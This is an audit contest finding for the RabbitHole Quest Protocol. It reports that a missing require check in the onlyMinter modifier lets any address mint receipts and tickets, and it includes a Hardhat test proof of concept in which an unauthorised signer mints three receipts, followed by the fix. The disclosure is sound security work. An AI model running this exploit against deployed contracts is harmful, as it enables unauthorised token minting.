RabbitHole Quest Protocol contest - Jayus's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L99 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104

Vulnerability details

Impact

RabbitHole receipts and tickets can be minted by anyone due to a missing require check.

Proof of Concept

import { expect } from 'chai'
import { Contract } from 'ethers'
import { ethers, upgrades } from 'hardhat'

describe('Audit PoC', async () => {
    let RHReceipt: Contract,
        deployedFactoryContract: Contract,
        deployedReceiptRenderer: Contract,
        contractOwner: { address: String },
        royaltyRecipient: { address: String },
        minterAddress: { address: String },
        fakeMinter: { address: string }

    beforeEach(async () => {
        ;[contractOwner, royaltyRecipient, minterAddress, fakeMinter] = await ethers.getSigners()
        const questFactory = await ethers.getContractFactory('QuestFactory')
        const RabbitHoleReceipt = await ethers.getContractFactory('RabbitHoleReceipt')
        const ReceiptRenderer = await ethers.getContractFactory('ReceiptRenderer')

        deployedReceiptRenderer = await ReceiptRenderer.deploy()
        await deployedReceiptRenderer.deployed()

        RHReceipt = await upgrades.deployProxy(RabbitHoleReceipt, [
            deployedReceiptRenderer.address,
            royaltyRecipient.address,
            minterAddress.address,
            10,
        ])

        deployedFactoryContract = await upgrades.deployProxy(questFactory, [
            royaltyRecipient.address,
            RHReceipt.address,
            royaltyRecipient.address
        ])

        await RHReceipt.setQuestFactory(deployedFactoryContract.address)
    })

    describe.only('mint receipt from any address', () => {
        it('fakeMinter mints as many receipts as wanted', async () => {
            await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def456')
            await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def556')
            await RHReceipt.connect(fakeMinter).mint(fakeMinter.address, 'def656')
            ///fakeMinter can mint as much as they like.

            expect(await RHReceipt.balanceOf(fakeMinter.address)).to.eq(3)
            expect(await RHReceipt.questIdForTokenId(1)).to.eq('def456')
            expect(await RHReceipt.questIdForTokenId(2)).to.eq('def556')
            expect(await RHReceipt.questIdForTokenId(3)).to.eq('def656')

        })
    })
})

Copy the code above to a file in quest-protocol/test and run yarn test

Tools Used

Hardhat

Recommended Mitigation Steps

Add a require statement in the onlyMinter modifier for both RabbitHoleReceipt.sol and RabbitHoleTicket.sol

modifier onlyMinter() {
        require(msg.sender == minterAddress, "!minter");
        _;
    }